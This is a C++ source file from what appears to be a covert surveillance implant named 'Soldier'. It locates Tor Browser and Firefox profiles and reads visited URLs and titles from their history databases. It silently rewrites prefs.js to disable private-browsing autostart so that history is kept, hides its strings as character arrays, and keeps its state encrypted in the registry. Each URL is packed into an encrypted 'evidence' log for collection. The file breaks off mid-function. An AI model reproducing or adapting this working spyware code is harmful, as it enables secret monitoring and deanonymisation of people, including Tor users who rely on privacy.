Soldier/url.cpp
#include "url.h"
#include <stdio.h>
#include <time.h>
#include "globals.h"
#include "version.h"
#include "utils.h"
#include "zmem.h"
#include "proto.h"
#ifndef _GLOBAL_VERSION_FUNCTIONS_
#define _GLOBAL_VERSION_FUNCTIONS_
#include "version.h"
#endif
#define CHECK_INTERVAL 60000 //interval to check for new evidences
sqlite3 *g_ppDb = NULL;
//char *g_szErr = NULL;
BROWSER_DATA g_pBrowserData[URL_MAX_BROWSER];
URL_LOGS g_lpURLLogs[MAX_URL_QUEUE];
//url main function
VOID URL_Main()
{
int nRet = 0;
while(TRUE)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] Thread running...\r\n");
#endif
//verify thread existence
if(bURLThread == FALSE)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] Thread not found...\r\n");
#endif
hURLThread = NULL;
return;
}
if(bCollectEvidences)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] Collecting evidences\r\n");
#endif
//verify if the tor db has already been found
nRet = URL_GetSavedInfo((PBROWSER_DATA*)g_pBrowserData);
if(nRet == 0)
return;
#ifdef _DEBUG
OutputDebugString(L"[URL] Getting Tor Browser\r\n");
#endif
//get the tor history
URL_GetBrowserHistory(BROWSER_TOR);
#ifdef _DEBUG
OutputDebugString(L"[URL] Getting Firefox Browser\r\n");
#endif
//get the firefox history
URL_GetBrowserHistory(BROWSER_FIREFOX);
}
#ifdef _DEBUG
OutputDebugString(L"[URL] Thread sleeping...\r\n");
#endif
//sleep for the specified of time
Sleep(CHECK_INTERVAL);
}
}
//get the web site history of the specified browser
int URL_GetBrowserHistory(BROWSER_TYPE Browser)
{
PBROWSER_DATA pBrowserData = NULL;
WCHAR wsTorExe[] = {L't', L'o', L'r', L'.', L'e', L'x', L'e', L'\0'};
WCHAR wsFirefoxExe[] = {L'f', L'i', L'r', L'e', L'f', L'o', L'x', L'.', L'e', L'x', L'e', L'\0'};
LPWSTR lpwsExe=NULL, lpwsExePath=NULL;
DWORD dwProcID=0, dwLen=0;
int nRet, nStartFrom=0;
BOOL bRet;
switch(Browser)
{
case BROWSER_TOR:
dwLen = wcslen(wsTorExe) + 1;
lpwsExe = (LPWSTR)malloc(dwLen * sizeof(WCHAR));
if(lpwsExe != NULL)
wcscpy_s(lpwsExe, dwLen, wsTorExe);
break;
case BROWSER_FIREFOX:
dwLen = wcslen(wsFirefoxExe) + 1;
lpwsExe = (LPWSTR)malloc(dwLen * sizeof(WCHAR));
if(lpwsExe != NULL)
wcscpy_s(lpwsExe, dwLen, wsFirefoxExe);
break;
default:
return 0;
}
if(lpwsExe == NULL)
return 0;
//get the registry info for the specified browser
nStartFrom = 0;
//search for a running process
dwProcID = URL_IsProcess(lpwsExe);
znfree((LPVOID*)&lpwsExe);
if(dwProcID)
{
//get the process full path
lpwsExePath = URL_GetProcessPath(dwProcID);
if(lpwsExePath == NULL)
return 0;
}
do
{
//get browser info
pBrowserData = URL_FindBrowserInfo((PBROWSER_DATA*)g_pBrowserData, lpwsExePath, Browser, &nStartFrom);
if(pBrowserData == NULL)
{
//if no browser info id found and the process is not running then exit
if(dwProcID == 0)
{
znfree((LPVOID*)&lpwsExePath);
return 0;
}
//search the browser files
bRet = URL_SearchFiles(lpwsExePath, &pBrowserData, Browser);
znfree((LPVOID*)&lpwsExePath);
if(bRet == FALSE)
return 0;
}
#ifdef _DEBUG
OutputDebugString(L"[URL] Browser info found");
OutputDebugStringA(pBrowserData->ConfigPath);
OutputDebugStringA(pBrowserData->DBPath);
#endif
//check if the config file path is present in the saved configuration
if((pBrowserData->ConfigPath[0] != 0) && (dwProcID == 0))
{
//modify the browser's configuration file
nRet = URL_ModifyConfigFile(pBrowserData);
if(!nRet)
return 0;
//delete the configuration information
//memset(pBrowserData->ConfigPath, 0x0, sizeof(pBrowserData->ConfigPath));
//URL_SaveInfo(g_pBrowserData);
}
//check if the db is present in the current configuration
if(pBrowserData->DBPath[0] != 0)
{
//query the database to extract urls
URL_GetHistory(pBrowserData);
}
dwProcID = 0;
}
while(nStartFrom < URL_MAX_BROWSER);
return 0;
}
//open the tor db containing the visited sites (places.sqlite)
int URL_OpenDB(LPSTR lpDBPath)
{
int nRet;
//apertura del db
nRet = sqlite3_open(lpDBPath, &g_ppDb);
return nRet;
}
//query the db for visited websites
int URL_GetHistory(PBROWSER_DATA pBrowserData)
{
char szSQLQuery[] = "select * from moz_places m inner join moz_historyvisits h \
on m.id = h.place_id \
where h.visit_date > %s \
order by h.id";
LPSTR lpszQry = NULL;
DWORD dwSize = 0;
char *lpszErr = NULL;
int nRet;
switch(pBrowserData->Type)
{
case BROWSER_FIREFOX:
case BROWSER_TOR:
//open the firefox and tor db
if(URL_OpenDB(pBrowserData->DBPath) != SQLITE_OK)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] OpenDB failed");
#endif
return SQLITE_ERROR;
}
if(pBrowserData->TimeStamp[0] == 0)
pBrowserData->TimeStamp[0] = '0';
dwSize = strlen(szSQLQuery) + strlen(pBrowserData->TimeStamp) + 1;
//concatenate the query
lpszQry = (LPSTR)malloc(dwSize);
if(lpszQry == NULL)
{
sqlite3_close(g_ppDb);
return SQLITE_ERROR;
}
sprintf_s(lpszQry, dwSize, szSQLQuery, pBrowserData->TimeStamp);
//query the db
nRet = sqlite3_exec(g_ppDb, lpszQry, URL_GetHistoryCallback, pBrowserData, &lpszErr);
free(lpszQry);
if(lpszErr != NULL)
sqlite3_free(lpszErr);
//close the db connection
sqlite3_close(g_ppDb);
//if there were no errors or the log array was full, then proceed
if((nRet != SQLITE_OK) && (nRet != SQLITE_ABORT))
{
#ifdef _DEBUG
OutputDebugString(L"[URL] sqlite3_exec failed");
#endif
return SQLITE_ERROR;
}
//save the registry array
if(!URL_SaveInfo(g_pBrowserData))
return SQLITE_ERROR;
break;
default:
return SQLITE_ERROR;
}
return SQLITE_OK;
}
//history callback function called for every row returned
int URL_GetHistoryCallback(void* pParams, int nCol, char** sRows, char** sColumnName)
{
LPWSTR lpwsURL=NULL, lpwsTitle=NULL;
LPSTR lpszTimestamp=NULL;
DWORD dwSize;
int nErr=0;
PBROWSER_DATA p = (PBROWSER_DATA)pParams;
for(int i = 0; i < nCol; i++)
{
if(sColumnName[i] == NULL)
continue;
if(sRows[i] == NULL)
continue;
if(!_stricmp(sColumnName[i], "url"))
{
dwSize = strlen(sRows[i]) + 1;
lpwsURL = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
if(lpwsURL == NULL)
{
nErr = -1;
break;
}
swprintf_s(lpwsURL, dwSize, L"%S", sRows[i]);
continue;
}
if(!_stricmp(sColumnName[i], "title"))
{
dwSize = strlen(sRows[i]) + 1;
lpwsTitle = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
if(lpwsTitle == NULL)
{
nErr = -1;
break;
}
swprintf_s(lpwsTitle, dwSize, L"%S", sRows[i]);
continue;
}
if(!_stricmp(sColumnName[i], "last_visit_date"))
{
dwSize = strlen(sRows[i]) + 1;
lpszTimestamp = (LPSTR)malloc(dwSize);
if(lpszTimestamp == NULL)
{
nErr = -1;
break;
}
sprintf_s(lpszTimestamp, dwSize, "%s", sRows[i]);
continue;
}
}
//check if there were errors
if(nErr == 0)
{
if(lpwsURL != NULL)
{
if(lpwsTitle == NULL)
{
lpwsTitle = (LPWSTR)malloc(4*sizeof(WCHAR));
if(lpwsTitle == NULL)
{
znfree((LPVOID*)&lpwsURL);
znfree((LPVOID*)&lpszTimestamp);
return 1;
}
wcscpy_s(lpwsTitle, 4, L" \0");
}
if(lpszTimestamp == NULL)
{
lpszTimestamp = (LPSTR)malloc(4*sizeof(WCHAR));
if(lpszTimestamp == NULL)
{
znfree((LPVOID*)&lpwsURL);
znfree((LPVOID*)&lpwsTitle);
return 1;
}
strcpy_s(lpszTimestamp, 4, "0\0");
}
//log the url data
if(URL_LogEvidence(lpwsURL, lpwsTitle, lpszTimestamp, (BROWSER_TYPE)p->Type))
{
//save the timestamp of the last url
memset(p->TimeStamp, 0, sizeof(p->TimeStamp));
sprintf_s(p->TimeStamp, sizeof(p->TimeStamp), "%s", lpszTimestamp);
#ifdef _DEBUG
OutputDebugString(L"[URL] Logging evidendce");
OutputDebugString(lpwsURL);
#endif
}
else
nErr = 1; //error, log full
}
}
//free the allocated memory
znfree((LPVOID*)&lpwsURL);
znfree((LPVOID*)&lpwsTitle);
znfree((LPVOID*)&lpszTimestamp);
return nErr;
}
//search in the global browser array, the data of the specified browser type
PBROWSER_DATA URL_FindBrowserInfo(PBROWSER_DATA *pBrowserData, LPWSTR lpExePath, BROWSER_TYPE Browser, int *nStartFrom)
{
PBROWSER_DATA p = NULL;
LPSTR lpszExe = NULL;
DWORD dwSize = 0;
size_t dwConv;
BOOL bFound = FALSE;
int i;
p = (PBROWSER_DATA)pBrowserData;
if(lpExePath)
{
dwSize = wcslen(lpExePath) + 1;
//alloc mem for the char string
lpszExe = (LPSTR)malloc(dwSize);
if(lpszExe == NULL)
return NULL;
//convert wchar array to multi-byte array
if(wcstombs_s(&dwConv, lpszExe, dwSize, lpExePath, dwSize))
{
znfree((LPVOID*)&lpszExe);
return NULL;
}
}
// #ifdef _DEBUG
// WCHAR wcBuf[1024];
// #endif
for(i = *nStartFrom; (i < URL_MAX_BROWSER) && (p[i].Type != BROWSER_UNKNOWN); i++)
{
//#ifdef _DEBUG
//OutputDebugString(L"FindBrowserInfo loop:");
//_swprintf(wcBuf, L"%d\nExe: %S\nDB: %S\nCfg: %S\n", i, p[i].ExePath, p[i].DBPath, p[i].ConfigPath);
//OutputDebugString(wcBuf);
//#endif
if(p[i].Type == (char)Browser)
{
if(lpExePath != NULL)
{
//verify the exe path (there could be multiple tor installations on the same pc)
if(!_stricmp(p[i].ExePath, lpszExe))
{
bFound = TRUE;
break;
}
}
else
{
bFound = TRUE;
break;
}
}
}
znfree((LPVOID*)&lpszExe);
if(bFound == TRUE)
{
*nStartFrom = i + 1;
return &p[i];
}
else
*nStartFrom = URL_MAX_BROWSER + 1;
return NULL;
}
//verify if the browser process is running and return the process id
DWORD URL_IsProcess(LPWSTR lpwsExeName)
{
PROCESSENTRY32 ppe;
HANDLE hSnapshot = NULL;
BOOL bRet, bFound = FALSE;
//create a snapshot of the running processes
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] CreateToolhelp32Snapshot failed");
#endif
return 0;
}
ppe.dwSize = sizeof(PROCESSENTRY32);
//get the first process
bRet = Process32First(hSnapshot, &ppe);
if(bRet == FALSE)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] Process32First failed");
#endif
CloseHandle(hSnapshot);
return 0;
}
do
{
//verify the name of the process
if(!_wcsicmp(ppe.szExeFile, lpwsExeName))
{
bFound = TRUE;
continue;
}
//search the next process
bRet = Process32Next(hSnapshot, &ppe);
if(bRet == FALSE)
break;
}while((bRet == TRUE) && (bFound == FALSE));
//close the snapshot
CloseHandle(hSnapshot);
if(bFound == FALSE)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] Browser process not found");
OutputDebugString(lpwsExeName);
#endif
return 0;
}
return ppe.th32ProcessID;
}
//get the full path of the browser exe from the running process
LPWSTR URL_GetProcessPath(DWORD dwProcID)
{
MODULEENTRY32 pme;
HANDLE hSnapshot = NULL;
BOOL bRet, bFound = FALSE;
//create a snapshot for the running process
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, dwProcID);
if(hSnapshot == INVALID_HANDLE_VALUE)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] CreateToolhelp32Snapshot failed");
#endif
return NULL;
}
pme.dwSize = sizeof(MODULEENTRY32);
//get the first process
bRet = Module32First(hSnapshot, &pme);
if(bRet == FALSE)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] Module32First failed");
#endif
CloseHandle(hSnapshot);
return NULL;
}
CloseHandle(hSnapshot);
if(pme.szExePath == NULL)
return NULL;
LPWSTR lpwsPath = NULL;
DWORD dwSize = 0;
dwSize = wcslen(pme.szExePath) + 1;
lpwsPath = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
if(lpwsPath != NULL)
wcscpy_s(lpwsPath, dwSize, pme.szExePath);
return lpwsPath;
}
//get the first free array position
int GetFirstFreePos(PBROWSER_DATA pBrowserData)
{
int i;
for(i=0; i<URL_MAX_BROWSER; i++, pBrowserData++)
{
if(pBrowserData->Type == BROWSER_UNKNOWN)
break;
}
if(i >= URL_MAX_BROWSER)
return -1;
return i;
}
//modify the browser's configuration file
int URL_ModifyConfigFile(PBROWSER_DATA pBrowserData)
{
CHAR szConfigStr[] = {'u', 's', 'e', 'r', '_', 'p', 'r', 'e', 'f', '(', '"', 'b', 'r', 'o', 'w', 's', 'e', 'r', '.', 'p', 'r', 'i', 'v', 'a', 't', 'e', 'b', 'r', 'o', 'w', 's', 'i', 'n', 'g', '.', 'a', 'u', 't', 'o', 's', 't', 'a', 'r', 't', '"', ',', ' ', 'f', 'a', 'l', 's', 'e', ')', ';', '\r', '\n', '\0'};
CHAR szSubStr[] = {'b', 'r', 'o', 'w', 's', 'e', 'r', '.', 'p', 'r', 'i', 'v', 'a', 't', 'e', 'b', 'r', 'o', 'w', 's', 'i', 'n', 'g', '.', 'a', 'u', 't', 'o', 's', 't', 'a', 'r', 't', '\0'};
LPSTR lpszConfigPath = NULL;
LPSTR lpszBuf = NULL;
DWORD dwWr;
BOOL bRet = FALSE;
HANDLE hFile = NULL;
DWORD dwSize = 0;
switch(pBrowserData->Type)
{
case BROWSER_FIREFOX:
case BROWSER_TOR:
dwSize = strlen(pBrowserData->ConfigPath) + 1;
lpszConfigPath = (LPSTR)malloc(dwSize);
if(lpszConfigPath == NULL)
return 0;
sprintf_s(lpszConfigPath, dwSize, "%s", pBrowserData->ConfigPath);
#ifdef _DEBUG
OutputDebugString(L"Modifying config file");
OutputDebugStringA(lpszConfigPath);
#endif
//open the config file
hFile = CreateFileA(lpszConfigPath, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
free(lpszConfigPath);
if(hFile == INVALID_HANDLE_VALUE)
return 0;
//search in the file for the config string
lpszBuf = File_SearchString(hFile, szSubStr);
if(lpszBuf != NULL)
{
//verify if the correct string is already present
if(strstr(lpszBuf, "false"))
{
CloseHandle(hFile);
znfree((LPVOID*)&lpszBuf);
return 1;
}
znfree((LPVOID*)&lpszBuf);
}
//set the file pointer to the end of the file
if(SetFilePointer(hFile, 0, 0, FILE_END) == INVALID_SET_FILE_POINTER)
{
CloseHandle(hFile);
return 0;
}
#ifdef _DEBUG
OutputDebugString(L"Writing config file");
#endif
//write the file
bRet = WriteFile(hFile, szConfigStr, strlen(szConfigStr) + 1, &dwWr, NULL);
CloseHandle(hFile);
if(bRet != TRUE)
return 0;
break;
default:
return 0;
}
#ifdef _DEBUG
OutputDebugString(L"Writing config file ok");
#endif
return 1;
}
//search the places.sqlite db and the config file starting from the exe name
BOOL URL_SearchFiles(LPWSTR lpwsExePath, PBROWSER_DATA* pBrowserData, BROWSER_TYPE Browser)
{
WCHAR wsConfigFile[] = {L'p', L'r', L'e', L'f', L's', L'.', L'j', L's', L'\0'};
WCHAR wsDBFile[] = {L'p', L'l', L'a', L'c', L'e', L's', L'.', L's', L'q', L'l', L'i', L't', L'e', L'\0'};
LPWSTR lpwsConfigDir = NULL, lpwsDBDir = NULL, lpwsPath = NULL;
size_t dwConv;
int nRet;
BROWSER_DATA BrowserData;
SecureZeroMemory(&BrowserData, sizeof(BROWSER_DATA));
switch(Browser)
{
case BROWSER_TOR:
case BROWSER_FIREFOX:
if(Browser == BROWSER_TOR)
{
//moves up 2 directories
lpwsPath = GetParentDirectory(lpwsExePath, 2);
}
else
{
WCHAR wsSubDir[] = {L'M', L'o', L'z', L'i', L'l', L'l', L'a', L'\\', L'F', L'i', L'r', L'e', L'f', L'o', L'x', L'\0'};
//get the appdata directory
lpwsPath = GetAppDataDirectory(wsSubDir);
}
if(lpwsPath == NULL)
return FALSE;
//save the exe path
if(lpwsExePath != NULL)
{
if(wcstombs_s(&dwConv, BrowserData.ExePath, sizeof(BrowserData.ExePath), lpwsExePath, _TRUNCATE))
{
free(lpwsPath);
return NULL;
}
}
//search the configuration file
lpwsConfigDir = SearchFile(lpwsPath, wsConfigFile);
if(lpwsConfigDir == NULL)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] Config file not found\r\n");
OutputDebugString(lpwsExePath);
#endif
free(lpwsPath);
return FALSE;
}
#ifdef _DEBUG
OutputDebugString(L"[URL] Config file found in directory");
OutputDebugString(lpwsConfigDir);
#endif
//save the configuration file path
BrowserData.Type = (char)Browser;
wcstombs_s(&dwConv, BrowserData.ConfigPath, sizeof(BrowserData.ConfigPath), lpwsConfigDir, _TRUNCATE);
free(lpwsConfigDir);
//search the db file
lpwsDBDir = SearchFile(lpwsPath, wsDBFile);
if(lpwsDBDir == NULL)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] DB file not found\r\n");
OutputDebugString(lpwsExePath);
#endif
free(lpwsPath);
return FALSE;
}
#ifdef _DEBUG
OutputDebugString(L"[URL] Config file found in directory");
OutputDebugString(lpwsDBDir);
#endif
//save the db file path
wcstombs_s(&dwConv, BrowserData.DBPath, sizeof(BrowserData.DBPath), lpwsDBDir, _TRUNCATE);
free(lpwsPath);
free(lpwsDBDir);
break;
default:
return FALSE;
}
//save the browser data in the global array
nRet = URL_AddSavedInfo((PBROWSER_DATA)g_pBrowserData, &BrowserData);
if(nRet < 0)
return FALSE;
*pBrowserData = &g_pBrowserData[nRet];
return TRUE;
}
//search a file starting from the specified directory
LPWSTR SearchFile(LPWSTR lpwsPath, LPWSTR lpwsFile)
{
WIN32_FIND_DATA FindFileData;
HANDLE hFile = NULL;
BOOL bRet = TRUE;
LPWSTR lpwsFoundPath = NULL;
LPWSTR lpwsCompletePath = NULL;
DWORD dwLen = 0;
if((lpwsPath == NULL) || (lpwsFile == NULL))
return NULL;
lpwsCompletePath = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
if(lpwsCompletePath == NULL)
return NULL;
swprintf_s(lpwsCompletePath, MAX_PATH, L"%s\\%s", lpwsPath, lpwsFile);
//search for the specified file
hFile = FindFirstFile(lpwsCompletePath, &FindFileData);
if(hFile != INVALID_HANDLE_VALUE)
{
free(lpwsCompletePath);
lpwsFoundPath = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
if(lpwsFoundPath != NULL)
swprintf_s(lpwsFoundPath, MAX_PATH, L"%s\\%s", lpwsPath, FindFileData.cFileName);
FindClose(hFile);
return lpwsFoundPath;
}
if(lpwsFile[0] != '*')
{
swprintf_s(lpwsCompletePath, MAX_PATH, L"%s\\%s", lpwsPath, L"*");
hFile = FindFirstFile(lpwsCompletePath, &FindFileData);
if(hFile == INVALID_HANDLE_VALUE)
{
free(lpwsCompletePath);
return NULL;
}
}
//search a directory in the current path
do
{
bRet = FindNextFile(hFile, &FindFileData);
if(!bRet)
continue;
//skip special file name
if(!wcscmp(FindFileData.cFileName, L".") || !wcscmp(FindFileData.cFileName, L".."))
continue;
//if it's a file, continue
if((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
continue;
//if it's a directory, add it to the path
swprintf_s(lpwsCompletePath, MAX_PATH, L"%s\\%s", lpwsPath, FindFileData.cFileName);
#ifdef _DEBUG
OutputDebugString(L"[URL] Searching file in directory\r\n");
OutputDebugString(lpwsCompletePath);
#endif
//recursion
lpwsFoundPath = SearchFile(lpwsCompletePath, lpwsFile);
if(lpwsFoundPath != NULL)
break;
}
while(bRet == TRUE);
//close the file handle
FindClose(hFile);
//free memory
znfree((LPVOID*)&lpwsCompletePath);
return lpwsFoundPath;
}
//get the path of the parent directory
LPWSTR GetParentDirectory(LPWSTR lpwsPath, int nLevels)
{
WCHAR *lpwsOrigPath = NULL, *lpwsPos = NULL, *lpTmpPath = NULL;
LPWSTR lpwsParent = NULL;
DWORD dwSize = 0;
if(lpwsPath == NULL)
return NULL;
lpwsOrigPath = lpwsPath;
//search the filepath till the last \ char
for(int i=0; i<nLevels+1; i++)
{
lpTmpPath = lpwsOrigPath;
do
{
lpwsPos = wcschr(lpTmpPath, L'\\');
if(lpwsPos != NULL)
lpTmpPath = lpwsPos+1;
}
while(lpwsPos != NULL);
if(lpTmpPath == NULL)
{
#ifdef _DEBUG
OutputDebugString(L"[URL] GetParentDirectory failed");
OutputDebugString(lpwsPath);
#endif
znfree((LPVOID*)&lpwsParent);
return NULL;
}
else if((lpwsParent != NULL) && (!wcscmp(lpTmpPath, lpwsParent)))
{
return lpwsParent;
}
else if(!wcscmp(lpTmpPath, lpwsOrigPath))
{
//no parent directory found, return the search directory
return lpwsOrigPath;
}
dwSize = wcslen(lpwsOrigPath) - wcslen(lpTmpPath);
znfree((LPVOID*)&lpwsParent);
lpwsParent = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
if(lpwsParent == NULL)
return NULL;
wcsncpy_s(lpwsParent, dwSize, lpwsPath, _TRUNCATE);
lpwsOrigPath = lpwsParent;
}
return lpwsParent;
}
//get the %appdata% directory + specified subdir
LPWSTR GetAppDataDirectory(LPWSTR lpwsSubDir)
{
LPWSTR lpwsAppData = NULL;
lpwsAppData = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
if(lpwsAppData == NULL)
return NULL;
if(!SHGetSpecialFolderPath(NULL, lpwsAppData, CSIDL_APPDATA, FALSE))
{
znfree((LPVOID*)&lpwsAppData);
return NULL;
}
if(lpwsSubDir != NULL)
{
DWORD dwSize = wcslen(lpwsAppData) + wcslen(lpwsSubDir) + 1;
//verify the length
if(dwSize >= MAX_PATH)
{
znfree((LPVOID*)&lpwsAppData);
return NULL;
}
wcscat_s(lpwsAppData, MAX_PATH, L"\\");
wcscat_s(lpwsAppData, MAX_PATH, lpwsSubDir);
}
return lpwsAppData;
}
//read saved browser information from the registry
int URL_GetSavedInfo(PBROWSER_DATA *pBrowserData)
{
HKEY hKey;
WCHAR wsBase[] = SOLDIER_REGISTRY_KEY;
WCHAR wsData[] = URL_REGISTRY_BROWSER_DATA;
DWORD dwRet=0, dwOut=0;
BOOL bRet;
if(pBrowserData == NULL)
return 0;
SecureZeroMemory(pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);
LPWSTR lpwsUnique = GetScoutSharedMemoryName();
LPWSTR lpwsSubKey = (LPWSTR)malloc(512 * sizeof(WCHAR));
if((lpwsUnique == NULL) || (lpwsSubKey == NULL))
{
znfree((LPVOID*)&lpwsUnique);
znfree((LPVOID*)&lpwsSubKey);
return 0;
}
_snwprintf_s(lpwsSubKey, 512, _TRUNCATE, L"%s\\%s", wsBase, lpwsUnique);
bRet = CreateRegistryKey(HKEY_CURRENT_USER, lpwsSubKey, REG_OPTION_NON_VOLATILE, KEY_READ|KEY_WRITE, &hKey);
//free memory
znfree((LPVOID*)&lpwsUnique);
znfree((LPVOID*)&lpwsSubKey);
if(bRet == FALSE)
return 0;
//get the browser data
dwOut = sizeof(BROWSER_DATA) * URL_MAX_BROWSER;
dwRet = RegQueryValueEx(hKey, wsData, NULL, NULL, (LPBYTE)pBrowserData, &dwOut);
//close the registry key
RegCloseKey(hKey);
if((dwRet != ERROR_SUCCESS) && (dwRet != ERROR_FILE_NOT_FOUND))
return 0;
//decrypt the key value
if(dwRet != ERROR_FILE_NOT_FOUND)
DecryptBuffer((LPBYTE)pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);
return 1;
}
//add an item to the array of the browser structure
int URL_AddSavedInfo(PBROWSER_DATA pArray, PBROWSER_DATA pBrowserData, int nPos/*=-1*/)
{
if(nPos >= URL_MAX_BROWSER)
return -1;
if(pArray == NULL)
return -1;
if(nPos == -1)
{
//get the first free position in the array
nPos = GetFirstFreePos(pArray);
if(nPos < 0)
return -1;
}
//copy the data into the array
memcpy(&pArray[nPos], pBrowserData, sizeof(BROWSER_DATA));
//save the structure
URL_SaveInfo(pArray);
return nPos;
}
//save browser info in the registry
int URL_SaveInfo(PBROWSER_DATA pBrowserData)
{
HKEY hKey;
WCHAR wsBase[] = SOLDIER_REGISTRY_KEY;
WCHAR wsData[] = URL_REGISTRY_BROWSER_DATA;
DWORD dwRet = 0;
BOOL bRet = FALSE;
LPWSTR lpwsUnique = GetScoutSharedMemoryName();
LPWSTR strSubKey = (LPWSTR)malloc(512 * sizeof(WCHAR));
if((lpwsUnique == NULL) || (strSubKey == NULL))
{
znfree((LPVOID*)&lpwsUnique);
znfree((LPVOID*)&strSubKey);
return 0;
}
//registry subkey
_snwprintf_s(strSubKey, 512, _TRUNCATE, L"%s\\%s", wsBase, lpwsUnique);
bRet = CreateRegistryKey(HKEY_CURRENT_USER, strSubKey, REG_OPTION_NON_VOLATILE, KEY_READ|KEY_WRITE, &hKey);
znfree((LPVOID*)&lpwsUnique);
znfree((LPVOID*)&strSubKey);
if(bRet == FALSE)
return 0;
//encrypt the key value
EncryptBuffer((LPBYTE)pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);
//write the registry key
dwRet = RegSetValueEx(hKey, wsData, 0, REG_BINARY, (LPBYTE)pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);
RegCloseKey(hKey);
DecryptBuffer((LPBYTE)pBrowserData, sizeof(BROWSER_DATA) * URL_MAX_BROWSER);
if(dwRet != ERROR_SUCCESS)
return 0;
return 1;
}
// scrive un a entry nel file di log corrispondente
BOOL URL_LogEvidence(LPWSTR lpwsURL, LPWSTR lpwsTitle, LPSTR lpszTimestamp, BROWSER_TYPE Browser)
{
DWORD dwDelimiter = ELEM_DELIMITER;
DWORD dwLogVer = URL_LOG_VER;
DWORD dwSize;
LPBYTE lpcBuf, lpTmp;
struct tm time;
_int64 nTime;
BOOL bRet = FALSE;
char szBuf[32];
//verify the log info
if((lpwsURL == NULL) || (lpwsTitle == NULL) || (lpszTimestamp == NULL))
return FALSE;
//build the log
//get the system time
//_time64(&nTime);
strcpy_s(szBuf, sizeof(szBuf), lpszTimestamp);
szBuf[10] = 0;
nTime = atol(szBuf);
//convert time value to a tm struct
_gmtime64_s(&time, &nTime);
time.tm_year += 1900;
time.tm_mon++;
//compute the size of the log
dwSize = sizeof(time); //timestamp
dwSize += sizeof(dwLogVer); //log_version
dwSize += ((wcslen(lpwsURL) + 1) * sizeof(WCHAR)); //url
dwSize += sizeof(Browser); //browser type
dwSize += ((wcslen(lpwsTitle) + 1) * sizeof(WCHAR)); //title
dwSize += sizeof(dwDelimiter); //delimiter
//alloc mem for the log data
lpcBuf = (LPBYTE)malloc(dwSize);
if(lpcBuf == NULL)
return FALSE;
lpTmp = lpcBuf;
//fill the buffer
memcpy(lpTmp, &time, sizeof(time));
lpTmp += sizeof(time);
memcpy(lpTmp, &dwLogVer, sizeof(dwLogVer));
lpTmp += sizeof(dwLogVer);
memcpy(lpTmp, lpwsURL, ((wcslen(lpwsURL) + 1) * sizeof(WCHAR)));
lpTmp += ((wcslen(lpwsURL) + 1) * sizeof(WCHAR));
memcpy(lpTmp, &Browser, sizeof(Browser));
lpTmp += sizeof(Browser);
memcpy(lpTmp, lpwsTitle, ((wcslen(lpwsTitle) + 1) * sizeof(WCHAR)));
lpTmp += ((wcslen(lpwsTitle) + 1) * sizeof(WCHAR));
memcpy(lpTmp, &dwDelimiter, sizeof(dwDelimiter));
//add to the log queue
DWORD dwEvSize;
LPBYTE lpcEvBuffer = PackEncryptEvidence(dwSize, lpcBuf, PM_URLAGENT, NULL, 0, &dwEvSize);
znfree((LPVOID*)&lpcBuf);
//queue the evidence
bRet = URL_QueueLog(lpcEvBuffer, dwEvSize);
if(!bRet)
znfree((LPVOID*)&lpcEvBuffer);
return bRet;
}
//add the log to the log array
int URL_QueueLog(LPBYTE lpcEvBuf, DWORD dwEvSize)
{
DWORD i;
for(i=0; i<MAX_URL_QUEUE; i++)
{
if(g_lpURLLogs[i].dwSize == 0 || g_lpURLLogs[i].lpBuffer == NULL)
{
g_lpURLLogs[i].dwSize = dwEvSize;
g_lpURLLogs[i].lpBuffer = lpcEvBuf;
return TRUE;
}
}
#ifdef _DEBUG
OutputDebugString(L"[URL] Log is full");
#endif
return FALSE;
}
//read a line till the \r\n char
BOOL File_ReadLine(HANDLE hFile, LPSTR* lpszBuffer)
{
char cChar = 0;
BOOL bRet = TRUE;
DWORD dwStart = 0, dwRd = 0;
long nCnt;
//dealloc the memory
znfree((LPVOID*)lpszBuffer);
//read untill the LF char or untill the EOF
for(nCnt=0; (bRet==TRUE) && (cChar != '\n'); nCnt++)
{
//read 1 byte
bRet = ReadFile(hFile, &cChar, 1, &dwRd, NULL);
if(bRet == FALSE)
continue;
//verify if EOF was reached
if((cChar == 0) || (cChar == EOF))
return FALSE;
//verify the read byte
if(cChar != '\n')
continue;
nCnt += 1;
//set the file pointer to the beginning of the line
dwStart = SetFilePointer(hFile, -nCnt, 0, FILE_CURRENT);
if(dwStart == INVALID_SET_FILE_POINTER)
return FALSE;
//alloc memory for the new string
*lpszBuffer = (LPSTR)malloc(nCnt + 1);
if(*lpszBuffer == NULL)
return FALSE;
memset(*lpszBuffer, 0, nCnt + 1);
//read the line
bRet = ReadFile(hFile, *lpszBuffer, nCnt, &dwRd, NULL);
if(bRet == TRUE)
break;
}
return bRet;
}
//parse the file to find the specified string
LPSTR File_SearchString(HANDLE hFile, LPSTR lpszStr)
{
LPSTR lpszBuf = NULL;
DWORD dwSize = 0;
BOOL bRet = FALSE;
//verify the file handle
